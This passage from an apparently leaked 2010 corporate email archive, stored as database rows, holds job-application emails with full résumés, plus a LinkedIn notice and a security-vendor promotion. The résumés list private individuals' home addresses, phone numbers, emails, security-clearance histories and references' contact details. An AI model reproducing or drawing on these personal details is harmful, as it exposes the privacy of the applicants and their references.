11:21:25 PM MDTTo: &lt;ted@hbgary.com&gt;Subject: 87445313  Multi-Source Intelligence Analyst  Monster Resume #sjczcneqw3eviit4\r\nReply-To: &lt;nydjs-monsterjobs@yahoo.com&gt;\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\n\r\n\r\n\r\n\r\nJob ID:  87445313\r\n\r\nJob Title:  Multi-Source Intelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nQuick View Links:\r\n\r\n\r\nResume Section\r\nSummary Section\r\nCover Letter\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n	\r\n	\r\n	\r\n	\r\n			\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONTACT INFO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDennis  Sullivan \r\n20 Roche Brothers Way\r\n#6-111\r\nN Easton  02356\r\nUS\r\nnydjs-monsterjobs@yahoo.com\r\n\r\n\r\n\r\n\r\n\r\nMobile: 703-472-7998  \r\nHome: 845-858-3290\r\nFax: 212-656-1648Contact Preference: Telephone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRESUME\r\n \r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResume Value: \r\nsjczcneqw3eviit4   Resume Headline: Intelligence, IO, and Research  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\nSkill Summary: •	Intelligence: Intelligence collection &amp; analysis (SIGINT, All-source) at strategic, operational and tactical level\r\n•	Operations: Counter-terrorism, NEO, military and civil-military operations, Information Operations (PSYOP, EW, CNO, PAO, MILDEC, fires, Civil Affairs), extensive political risk &amp; crisis management, project management, briefing, proposals, \r\n•	Other: 20 years progressively responsible leadership positions information, and intelligence experience. Adept at high-pressure and 24 hr operations. Demonstrated facility with computers and software. Security Clearance: \r\nMilitary: TS/SCI by DIS, SBI-PR adjudicated Apr 2009; Polygraph, CI by AFOSI, January 2009 Contractor: active TS in DISSCO system; last used April 2006Educational Background: \r\nPhD (in progress): Political Science, International Studies, 2012  (expected), Boston University MA: Political Science, International Studies, 2008, Boston College BA: Political Science, International Relations, and Asian studies, 1989, UMASS Boston\r\nForeign languages: Easily pick up functional vocabulary during travelsKorean-slight speaking and reading Russian-slight speaking and readingGerman-slight speaking and reading Foreign Area Knowledge: \r\nAsia (including SW and Central); Balkans; Latin America: Transnational TerrorismForeign Travel: Korea, Spain, Germany, Switzerland, Indonesia, Australia, Japan, Hong Kong/PRC, Thailand, Cambodia, Singapore, UK, Oman, Ireland, Iceland, Kuwait, Afghanistan, Iraq\r\nTRAINING HIGHLIGHTS 1st IO Command: IO Capabilities; Tactics, Techniques, and Procedures\r\nJSOU: SOF IO Planners Course; Middle East Orientation Course Iraq and AfghanistanNMITC: Naval Special Warfare Intelligence Course DIA: Counter-Terrorism Analysis Corporate: Latin America Kidnapping Deterrence \r\nDIA: Strategic Intelligence Analysis NETC: Shipboard Security NMITC: SCI and Physical Security NSA: CY-611 Senior Cryptologic Management; Social Network Analysis; CT AnalysisNAVSECGRU: Reserve Cryptologic Division Officers Course \r\nNaval War College: Joint Military OperationsUSAF: Korean Language course; Cryptologic Linguist Technical courseTactical TrainingWeapons: M-4, M-16, AK-47, MP-5, M-60, various 9mm and .45 sidearmsOther: Intro to L.I.N.E. combatives; NAUI SCUBA basic course, Combat Lifesaver\r\nMilitary Experience (Civilian work experience listed below, Reserve assignments redacted for space)\r\nUS Naval Reserve Sep 1989-Pres // Commander (O-5) Current Reserve Billet: Information Warfare Supervisor, Standing Joint Forces Headquarters, Core Element BRAVO.  Conduct Information Warfare planning and operations to support rapid response Joint Task Forces, Defense Support to Civil Authority, and Anti-Terrorism requirements. Research, analyze and write plans, manage current operations, manage requests for information, conduct research, and write assessments to update senior level DOD and interagency partners\r\n\r\nActive Duty: Apr 06-Aug 06 and Jun07-Aug07: Executive Officer, Office of the Homeland Security Coordinator, National Security Agency. Manage military, civilian, and contractor personnel to support Homeland Security requirements.  Coordinate strategic plans and governance plans, policies and documents in both intra and inter agency environment. Develop and implement advanced analytical capabilities to increase personnel productivity in support of Homeland Security initiatives.\r\n\r\nActive Duty: Jan 04-Jul 04: IO Planner/Staff Cryptologist, Naval Special Warfare Development Group, Dam Neck, VA.  Plan and conduct operations, tests and evaluations of full spectrum Information Operations to support Naval Special Warfare forces in deliberate and crisis actions. Provide Intelligence support, including all-source analysis and collection management to focus operations, tests, and evaluations. Conduct network centric warfare analysis to assess and exploit enemy vulnerabilities. Conduct interagency liaison to ensure deconfliction and synergy.\r\nActive Duty: Oct 01-Oct 03: IO Planner, Joint Special Operations Command, Fort Bragg, NC. Plan and conduct operations, tests, and evaluations of full spectrum Information Operations to support Special Operations forces in deliberate and crisis actions. Provide Intelligence support, including all-source analysis and collection management to support operations, tests and evaluations. \r\n\r\nActive Duty: Oct 00-Sep 01: Intelligence Officer, Mission Support Center, Naval Special Warfare Group 1, Coronado, CA. Manage up to 30 rear and forward personnel during crises and exercises. Direct intelligence and technical support activities to provide SEALs critical intelligence, including geo-political, military, and counter-terrorism issues, from all US intelligence agencies. Implemented Business Process Improvements, reduced planning time by 50% and increased number of missions by 200%. \r\nActive Duty: Sep 99-Sep 00: Branch Chief, Crisis Response and Readiness Division, National Security Agency. Manage 20 rear and forward personnel to provide global crisis monitoring and response in support of US/Allied military operations. Coordinate and ensure tactical / national efforts are optimized to support operational and tactical military objectives. Facilitate cooperation with internal / external providers and customers to ensure objectives are met. \r\n\r\nActive Duty: Jul 95-Feb 96, Jul 97-Oct 98, Apr 99-Sep 99 (24 months total, 3 separate tours): Team Chief, Briefer, and Senior Analyst, Defense Intelligence Agency, Managed team of 4-5 analysts. Provided analysis and briefings to keep J-2 and CJCS apprised of current and forecasted events in the former Yugoslavia. Coordinate information with other national agencies. Task collection assets as needed. \r\nActive Duty: Oct 98-Apr 99, Deputy Chief, Cryptologic Services Group, US Southern Command. Manage team of 13 analysts. Provide Cryptologic/intel support to J-2, provide reachback capability to NSA, ensure tactical surveillance systems and national assets are optimized to support Commander’s strategic and tactical objectives in the Latin American area of responsibility \r\nActive Duty: May-Dec 1992, Naval Bureau of Personnel, Arlington, VA. Reserve Separations Case Officer\r\nActive Duty: Oct 89-Sep 91, Naval Air Force Atlantic, Norfolk VA. Assistant Force CryptologistActive Duty: Feb 84-Aug 87, enlisted USAF. DLI, Goodfellow AFB, Osan AB Korea. Cryptologic Linguist Work Experience // Civilian: \r\n 2010 - Pres: Adjunct Lecturer in International Relations, Bentley University, Waltham, MA, Provide undergraduate instruction in International Relations using lectures, readings, media and student presentations\r\n 2004- 2006: Senior Operations Analyst, Mantech Int’l, Alexandria VA\r\n2005-2006: deployed to Iraq in support of Multi-National Corps Iraq combat operations.  Conduct full spectrum Information Operations to assist US Army units engaged in Iraq and Afghanistan. Integrate IO objectives into Military Decision-Making Process (MDMP). Manage Intelligence support, including all-source analysis and collection management to focus operations.  Conduct network centric warfare analysis to assess and exploit enemy vulnerabilities. Conduct interagency liaison to ensure deconfliction and synergy with ongoing operations.\r\n1997-pres: President, Global Crisis Control International, Warwick, NY \r\nCreated not-for-profit Force Protection consulting firm, provide guidance to all aspects of business; operations, marketing (including proposals), sales, and human resources. Supervise 7 personnel. Conduct risk management analysis and political risk studies for commercial consumers to determine viability of continued client operations in target countries. Conducted evacuation of Indonesia. Develops and implements traveler and executive protection programs and assists in the resolution of crisis situations. Memberships have included OSAC and ASIS.\r\n1996-1997: Manager-Security Services, International SOS Assistance, Trevose, PA. \r\nCollect and analyze open source information. Generate threat assessments, crisis management response plans, and Force Protection plans for businesses, travelers, and expatriates. Determine viability of continued client operations in target countries. Direct, plan, and execute political evacuations, risk management and security procedures. Operations include: Cambodia, Albania, Papua New Guinea, Liberia, Mexico, China, and Zaire. \r\n1994-1995: MRJ, Oakton, VA.  Conduct computer systems training.  Assist with test and development of training materials and new systems1993-1994: Booz-Allen &amp; Hamilton, Vienna VA.  Conduct intelligence systems training.  Assist with test and development of new systems\r\n\r\n\r\n\r\n\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCurrent Career Level:\r\nManager (Manager/Supervisor of Staff)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYears of relevant work experience:\r\nMore than 15 Years\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate of Availability:\r\nNegotiable\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWork Status:\r\nUS - I am authorized to work in this country for any employer.Australia - I require sponsorship to work in this country.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nActive Security Clearance:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUS Military Service:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Job:\r\nWilling to work the following shifts:\r\nFirst Shift (day)Second Shift (afternoon)Third Shift (night)Rotating\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWilling to work weekends:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Locations:\r\nSelected Locations:\r\nAustralia-NSW-SydneyUS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRelocate:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n		\r\n\r\nLanguages:\r\nLanguages\r\nProficiency Level\r\n\r\n\r\n\r\nGerman\r\nBeginner\r\n\r\n\r\n\r\nKorean\r\nBeginner\r\n\r\n\r\n\r\nRussian\r\nBeginner\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n COVER LETTER\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreetings,\r\n\r\nIn response to your employment opening posted on monster.com, I would like to discuss the opportunity to immediately leverage the experience gained in the Military Intelligence, Special Operations, and Crisis Management arenas to satisfy your requirement, provide value-added to your team, and most importantly, improve your bottom line.  I have attached a copy of my resume for your review.\r\n\r\nHighlights of that experience, both civilian and military, include:\r\n\r\n     *  Multiple recalls to Active Duty, totaling over 2400 days, supporting Special Operations, National Agency, and Theater Commander&#39;s crisis management, information operations, intelligence, counter-terrorism, and current operations requirements.\r\n\r\n     * Founder of Global Crisis Control International, providing Political Risk support to travelers, expats and businesses, including intelligence reports, counter-terrorism services, advocacy, security studies, and evacuations.\r\n\r\n     *  Manager of Security Services for International SOS,  providing Political Risk support to over $4 million in B2B and consumer business, maintained intelligence databases on over 145 countries,  and conducted numerous evacuations and security interventions.\r\n\r\nLet&#39;s work out a time to discuss how to leverage this experience to enrich your product offerings.   I will call you within a couple of days, but feel free to call or email if you have any questions, comments, or concerns.  I can be reached on my direct line at 703-472-7998, or via email at nydjs-monsterjobs@yahoo.com\r\n\r\nBest Regards,\r\n\r\nDennis Sullivan\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n',14272,'aaron_hbgary_com/14272.html'),(5324,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003872.M108561P14101Q179.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Vw','https://www.fbo.gov/index?s=opportunity&mode=form&id=f89e105e0b3d75247bc198ece52e7897&tab=core&_cview=1\r\n\r\n\r\nSent from my iPad\r\n',3657,'aaron_hbgary_com/3657.html'),(5325,'2010-04-14','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297003872.M342269P14101Q180.eml','\"Aaron Barr\" <aaron@hbgary.com>','Irving Lachow has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Irving are now connected.\r\n\r\n \r\n   \r\n   View Irving\'s profile to:\r\n     \r\n       Download Irving\'s current contact information\r\n       Write a recommendation for Irving\r\n       Find opportunities through Irving\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/fpf/3451047/EML-inv-acc-prof/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',591,'aaron_hbgary_com/591.html'),(5326,'2010-04-14','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003873.M418006P14101Q181.eml','all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','New Tagline Contenders (PDF attached)',' \r\nOK, three taglines in the finals.\r\n \r\n-Greg\r\n',16071,'aaron_hbgary_com/16071.html'),(5327,'2010-04-14','\"Steve Jacyna\" <steve.jacyna@carahsoft.com>','/aaron@hbgary.com/new/1297003873.M736396P14101Q182.eml','\"Aaron Barr\" <aaron@hbgary.com>','Q1 Labs at the 9th Annual AFCEA NOVA Naval IT Day','\r\n  \r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\nbody {\r\nbackground-color: #808080;\r\ncolor: #333333;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\n.tbody {\r\nbackground-color: #fff;\r\ncolor: #333333;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\nh1 \r\n{\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 24px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: uppercase;\r\ncolor: #000088;\r\npadding: 0px;\r\n}\r\np, td { font-size:12px; }\r\ntd.content { padding-right: 25px; }\r\na:hover { text-decoration: underline; color: #000088; }\r\na:link { text-decoration: underline; color: #000088; }\r\na:visited { text-decoration: underline; color: #000088; }\r\n.footer {\r\nbackground-color:#58595B;\r\npadding:5px;\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 10px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: none;\r\ncolor: #FFFFFF;\r\ntext-align: center;\r\nvertical-align: middle;\r\n}\r\n\r\n&nbsp;\r\n\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n			\r\n			\r\n				\r\n					\r\n						\r\n						\r\n						Aaron, \r\n						\r\n						Are you planning to attend the AFCEA NOVA Naval IT Day? If so, please stop by&nbsp;to meet the Q1 Labs&nbsp;team, and learn why our government customers chose Q1 Labs to meet their security management and compliance requirements. \r\n						\r\n						QRadar is the most intelligent, integrated, and automated solution in the market: \r\n						\r\n						Intelligence: With more data under surveillance and more intelligent analytic techniques, QRadar will detect threats that others will miss; providing visibility that others can&rsquo;t. \r\n						\r\n						Use Case: A government agency recently utilized QRadar for correlating millions of security events and network activity records and reduced this massive amount of data to 40 actionable offenses. As a result, threats were not missed and security analyst utilization was maximized. \r\n						\r\n						Integration: Designed from scratch to integrate log management and SIEM in one solution. \r\n						\r\n						Use Case: Multiple government agencies use QRadar to centralize log management across all networked assets. \r\n						\r\n						Automation: By automating discovery and reporting functions, QRadar removes the crushing complexities that cripple traditional SIEMs. \r\n						\r\n						Use Case: A federal agency uses QRadar to manage a 32-terabyte data warehouse of security information. Out-of-the-box reporting templates (e.g., NIST templates) automatically produce audit reports. \r\n						\r\n						Government agency customers currently using QRadar include: U.S. Army, U.S. Department of State, NASA, USSTRATCOM, Institute of Defense Analysis, Naval Air Systems Command, the NRC, the Selective Service, U.S. Joint Forces Command, the Executive Office of the President, and the Defense Security Service. \r\n						\r\n						Please contact me to schedule a face to face discussion of our product at the AFCEA NOVA Naval IT Day. \r\n						\r\n						Sincerely, \r\n						\r\n						Steve Jacyna\r\n						Q1 Labs Government at Carahsoft\r\n						703-871-8680 (Direct)\r\n						888-662-2724 (Toll-Free)\r\n						steve.jacyna@carahsoft.com\r\n						www.carahsoft.com/q1labs \r\n						\r\n						\r\n						\r\n						\r\n						Stop by&nbsp;the AFCEA NOVA\r\n						Naval IT Day&nbsp;to learn more! \r\n						\r\n						Date: Thursday, April 15, 2010\r\n						Time: 8 a.m. - 5 p.m. EDT \r\n						Location: Sheraton Premiere,&nbsp;&nbsp;&nbsp;\r\n						&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tysons Corner \r\n						\r\n						 \r\n						\r\n						\r\n					\r\n					\r\n						&nbsp;\r\n						&nbsp;\r\n					\r\n				\r\n			\r\n			\r\n		\r\n		\r\n			&nbsp;\r\n		\r\n	\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n',1678,'aaron_hbgary_com/1678.html'),(5328,'2010-04-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003873.M943778P14101Q183.eml','\"Phil Wallisch\" <phil@hbgary.com>','Telecon','Hey Phil,\r\n\r\nHave some time early afternoon for a telecon/webex to go over some things?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1143,'aaron_hbgary_com/1143.html'),(5329,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003874.M181447P14101Q184.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: 87445313  Multi-Source Intelligence Analyst  Monster Resume #2xjv9we2xj8et6j4','\r\n\r\n-------- Original Message --------\r\nSubject: 	87445313 Multi-Source Intelligence Analyst Monster Resume\r\n#2xjv9we2xj8et6j4\r\nDate: 	Wed, 14 Apr 2010 10:21:28 -0500\r\nFrom: 	\r\nReply-To: 	\r\nTo: 	\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\nJob ID: 87445313 	Job Title: Multi-Source Intelligence Analyst\r\n\r\nQuick View Links:\r\nResume Section  	Summary Section \r\n\r\n	\r\nCONTACT INFO 	\r\n\r\nRobert Ryan\r\n210 Elizabeth Street\r\nCulpeper, VA 22701\r\nUS\r\nrobert.ryan2@yahoo.com \r\n		\r\nMobile: 540-718-3699\r\nHome:\r\nContact Preference: Email\r\n\r\n	\r\nRESUME 	  	^BACK TO TOP \r\n\r\nResume Value: 2xjv9we2xj8et6j4   Resume Headline: Combined\r\n\r\nROBERT RYAN II\r\n210 Elizabeth Street\r\nCulpeper, VA 22701\r\n (540) 718-3699 (Cell)\r\nrobert.ryan2@yahoo.com\r\n\r\nObjective: Seeking a challenging position of All Source Intelligence\r\nAnalyst work where I can make the best use of my abilities, knowledge\r\nand analytical skills.\r\n\r\nClearance:\r\n *Top Secret/SCI April 2007-April 2013\r\n *Secret April 2007-2017\r\n\r\nEDUCATION:\r\n B.S. in Exercise Science, Dec 2006, Davis and Elkins College, Elkins, WV\r\no Minor in Athletic Training, ,\r\n A.S. in Intelligence Operations, May 2008, Cochise College, Sierra\r\nVista, AZ\r\n\r\nPROFESSIONAL EXPERIENCE:\r\n UNITED STATES ARMY SGT, ETS (End Time Service) February 2011, Available\r\nNovember 2010 Feb 07-  Present 1/3 SFG (A) [Special Forces Group\r\n(Airborne), Fort Bragg, NC\r\n\r\n 96B(35F2) All Source Intelligence Analyst\r\n *Developed Intelligence products for weekly update, JCET Missions, and\r\nInsurgent Profiles\r\n *Use of Microsoft Office, ArcMap, Google Earth, DCGS-A and Analyst\r\nNotebook for product analysis\r\n *Use of NIPR, SIPR, and JWICS for RFIs\r\n *Weekly Provincial Assessments\r\n *Bi-Weekly Logistical Assessments\r\n *Interaction with other Task Forces during OEF Deployments\r\n\r\n 96B(35F) Security Manager\r\n *Maintain Battalion Security Clearances\r\n *Battalion Security Manager for Clearances, Passports, Scheduling,\r\nAdministrative Responsibilities\r\n *Weekly Update lists of Clearance Validations\r\n *Maintaining readiness by process finger prints, SF86s, and release pages\r\n *Reviewing Top Secret, and Secret Security Packets\r\n *Preparing and processing Interim Security Clearance Requests\r\n\r\n Class’s:\r\n *Airborne School, August 2007\r\n *Asymmetrical Knowledge Course, SRA Group, Nov 2007\r\n *Asymmetrical Warfare Course, DIA (Defense Intelligence Agency), Jul 2008\r\n *BlackWater Advanced Marksmanship Class, Feb 2008\r\n *TRC (Terrorist Research Center) Mirror Image, Nov 2008\r\n\r\n DAVIS AND ELKINS COLLEGE, ELKINS, WV\r\n Practicum: Assistant Athletic Trainer, Davis & Elkins College.  Winter\r\n& Spring Semesters 2006\r\n * Assisted with on-site injury evaluation to determine treatment\r\n * Physical therapy rehabilitation action steps to begin therapy and\r\nadditional injury prevention\r\n * Assisted with injury treatment including taping, stretching,\r\nmassaging, ultra-sound, and whirlpool\r\n * Organized, stocked, and recompiled equipment and treatment materials\r\n\r\n Resident Assistant, 2005-2006\r\n * On-the-spot availability to handle issues and emergencies on a\r\nrotating, scheduled, on-call basis\r\n * Promoted safe, respectful living environment for residence hall of\r\napproximately 100 students\r\n\r\n Co curricular College Activities:\r\n  Men’s Soccer Team, 2003-2006\r\n  Chi Beta Phi Honorary National Science Fraternity, 2005, 2006\r\n  Exercise Movement, Health & Science Club, 2003-2006\r\n  Ski and Snowboard Club, 2006\r\n  Student Athletic Advisory Council, NCAA, 2004-2006\r\n\r\nSKILLS & PERSONAL QUALITIES:\r\n       * Communication        * Fusion\r\n       * Demonstrative Abilities       * Organization\r\n       * Integrate         * Analytical\r\n       * Independent        * Reliable\r\n\r\nREFERENCES\r\n\r\nFOR\r\n\r\nROBERT RYAN II\r\n210 Elizabeth Street\r\nCulpeper, VA 22701\r\n(540) 727-8378\r\n(540) 718-3699 (Cell)\r\nRobert.ryan2@yahoo.com\r\n\r\nDr. David Sneed\r\nDean of Students & Vice-President for Student Life\r\nDavis and Elkins College\r\nElkins, WV 26241\r\n(304) 637-1211\r\nsneedd@davisandelkins.edu\r\n\r\nMike Erwin\r\nFormer 1/3 SFG(A) S-2\r\n(919) 995-4652\r\nmichael.s.erwin@us.army.mil\r\n\r\nBrandon Kilgo\r\nFormer 1/3 SFG(A) Sr. Analyst\r\n(256) 590-1327\r\nbrandon.kilgo@us.army.mil\r\n\r\nBlake Horst\r\nFormer 1/3 SFG(A) S-2 NCOIC\r\n(910) 245-1976\r\n(910) 850-4208\r\nblake.horst@us.army.mil\r\n\r\n\r\n	\r\nSUMMARY 	^BACK TO TOP \r\n\r\nDesired Salary/Wage: 	45,000.00 - 60,000.00 USD Per Year\r\nCurrent Career Level: 	Entry Level\r\nYears of relevant work experience: 	2+ to 5 Years\r\nDate of Availability: 	11/1/2010\r\nWork Status: 	US - I am authorized to work in this country for any\r\nemployer.\r\nActive Security Clearance: 	Yes\r\nUS Military Service: 	Yes\r\n\r\nTarget Job: 	*Target Job Title:* 	Intelligence Agency Agent\r\n	**Desired Job Type:** 	Employee\r\n	**Desired Status:** 	Full-Time\r\n\r\nTarget Company: 	*Industry:* 	Government and Military\r\nSecurity and Surveillance\r\n	*Occupation:* 	\r\n\r\n    * Security/Protective ServicesMilitary Combat\r\n    * General/Other: Security/Protective Services\r\n    * Security Intelligence & Analysis\r\n\r\nTarget Locations: 	*Selected Locations:* 	US-DC-Washington/Metro\r\nUS-MD-Baltimore\r\nUS-DC\r\nUS-VA-Northern\r\nUS-MD-Anne Arundel County\r\nUS-MD-Prince George\'s County\r\nUS-MD-Columbia\r\n	**Relocate:** 	Yes\r\n	*Willingness to travel:* 	Up to 25% travel\r\n\r\n\r\n',8246,'aaron_hbgary_com/8246.html'),(5330,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003874.M396240P14101Q185.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: 87445313  Multi-Source Intelligence Analyst  Monster Resume #wxz3rgrxip8uwg8g','\r\n\r\n-------- Original Message --------\r\nSubject: 	87445313 Multi-Source Intelligence Analyst Monster Resume\r\n#wxz3rgrxip8uwg8g\r\nDate: 	Wed, 14 Apr 2010 10:31:00 -0500\r\nFrom: 	\r\nReply-To: 	\r\nTo: 	\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\nJob ID: 87445313 	Job Title: Multi-Source Intelligence Analyst\r\n\r\nQuick View Links:\r\nResume Section  	Summary Section \r\n\r\n	\r\nCONTACT INFO 	\r\n\r\nAdam Mueller\r\n790 Altamont Lake Lane\r\nSandy, UT 84094\r\nUS\r\nadammueller@yahoo.com \r\n		\r\nMobile: 801 231-0424\r\nHome: 801 231-0424\r\nContact Preference: Telephone\r\n\r\n	\r\nRESUME 	  	^BACK TO TOP \r\n\r\nResume Value: wxz3rgrxip8uwg8g   Resume Headline: All Source Targeting\r\nAnalyst\r\n\r\nAdam Mueller, MBA\r\n\r\n790 East Altamont Lake Lane 2104\r\n\r\nSandy, Utah 84094\r\n\r\nAdamMueller@Yahoo.com\r\n\r\n(801) 231-0424\r\n\r\n\r\n\r\nEXPERIENCE:\r\n\r\n\r\n\r\nIntelligence Analyst\r\n\r\nHHC 1st AHB 211th AVN GP\r\n\r\nUS Army National Guard\r\n\r\nSalt Lake City, Utah\r\n\r\nJan 2008-Present\r\n\r\nClearance Level: \'Available on request\'\r\n\r\n·         Prepare target packages, intelligence summaries, red force\r\nreports, weather briefings, country briefings, and request\r\nISR assistance to support the combat commander.\r\n\r\n·         Collaborate with multinational intelligence analysts and\r\ncommanders.\r\n\r\n·         Analyze and evaluate intelligence holdings to determine\r\nchanges in enemy capabilities, vulnerabilities and probable courses of\r\naction.\r\n\r\n·         Assemble and proofread intelligence reports.\r\n\r\n\r\n\r\nM1A1 Battle Tank Crewmember\r\n\r\nUS Army/Army Reserve\r\n\r\nSalt Lake City, Utah\r\n\r\nMarch 1993-Jan 2008\r\n\r\n\r\n\r\nResearch Compliance & Education Officer\r\n\r\nUniversity of Utah Health Services\r\n\r\nSalt Lake City, Utah\r\n\r\nAugust 2008-August 2009\r\n\r\n·                             Project-manager leading the construction\r\nof a novel research pricing, patient tracking, automated invoicing,\r\nMedicare compliance software package.\r\n\r\no   Direct a team of 15-managers and 5-IT professionals in the\r\ndevelopment of a novel healthcare IT program.\r\n\r\no   Collaborate with 56 departments to incorporate current workflows\r\ninto a unified research workflow.\r\n\r\no   Liaison between corporate management and IT development.\r\n\r\no   Identify and resolve compliance gaps in the University\r\nHealthcare system.\r\n\r\no   Conduct briefings using talking papers, white papers, and graphical\r\nproducts.\r\n\r\n·                                 Manage the distribution of hospital\r\nresearch pricing to managers and clinicians.\r\n\r\no   Analyze and close gaps in hospital research pricing and budgeting.\r\n\r\no   Develop research budgeting strategies to maximize research revenue.\r\n\r\no   Resolve individual pricing and budgeting errors.Hospital\r\nadministrator for ClinicalTrials.gov.\r\n\r\no   Ensure hospital compliance with Federal laws regarding research\r\ndisclosure.\r\n\r\no   Train hospital staff on the use of ClinicalTrials.gov.\r\n\r\n\r\n\r\nResearch Coordinator\r\n\r\nIntermountain Healthcare\r\n\r\nSalt Lake City, Utah\r\n\r\nJuly 2005-July 2008\r\n\r\n·                               Built and maintained a collaborative\r\npartnership between the research program, multiple corporate sponsors\r\nand in-house departments.\r\n\r\n·                                Directed industry sponsored research\r\nprotocols in the IHC system.\r\n\r\n·                                 Supervised research projects with\r\nusing dashboard metrics, milestones, organizational gap analysis and 360\r\ndegree performance reviews.\r\n\r\n·                                 Presented study findings to\r\nexecutives, sponsors, associates and laymen.\r\n\r\n\r\n\r\nOperations Analyst Intern\r\n\r\nJune 2007-September 2007\r\n\r\nIntermountain Healthcare\r\n\r\n·                                 Interviewed key executives and\r\nassociates to identify operational and billing performance gaps.\r\n\r\n·                                  Adjusted work flows and reorganized\r\ntraining programs to close operational gaps.\r\n\r\n·                                 Created reports and briefed executives\r\non operational analysis, strategies and results.\r\n\r\n\r\nEDUCATION:\r\n\r\n\r\n\r\nMaster of Business Administration\r\n\r\nSpecialization: Finance\r\n\r\nNew York Institute of 